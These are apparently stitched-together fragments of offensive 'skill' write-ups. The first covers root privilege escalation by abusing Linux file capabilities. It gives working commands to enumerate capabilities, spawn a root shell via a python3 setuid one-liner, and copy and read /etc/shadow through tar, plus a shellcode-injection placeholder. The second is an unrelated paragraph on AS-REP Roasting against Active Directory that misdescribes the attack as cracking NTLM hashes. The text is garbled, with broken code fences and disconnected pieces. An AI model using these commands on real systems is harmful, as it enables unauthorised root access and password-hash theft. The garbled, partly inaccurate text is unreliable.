Identify and exploit misconfigured Linux Capabilities. This skill covers how attackers escalate privileges to root without relying on SUID binaries or kernel exploits by abusing excessive capabilities like cap_dac_read_search, cap_sys_ptrace, or cap_setuid assigned to ordinary files.

# getcap -r / 2>/dev/null
# ```
### Phase 2: Exploiting cap_setuid (e.g., Python, Perl, Tar)
```bash
# # python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# ```
### Phase 3: Exploiting cap_dac_read_search (e.g., Tar)
```bash
# # tar -cvf shadow.tar /etc/shadow
tar -xvf shadow.tar
cat etc/shadow
# inject_shellcode $(pidof root_process)

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.
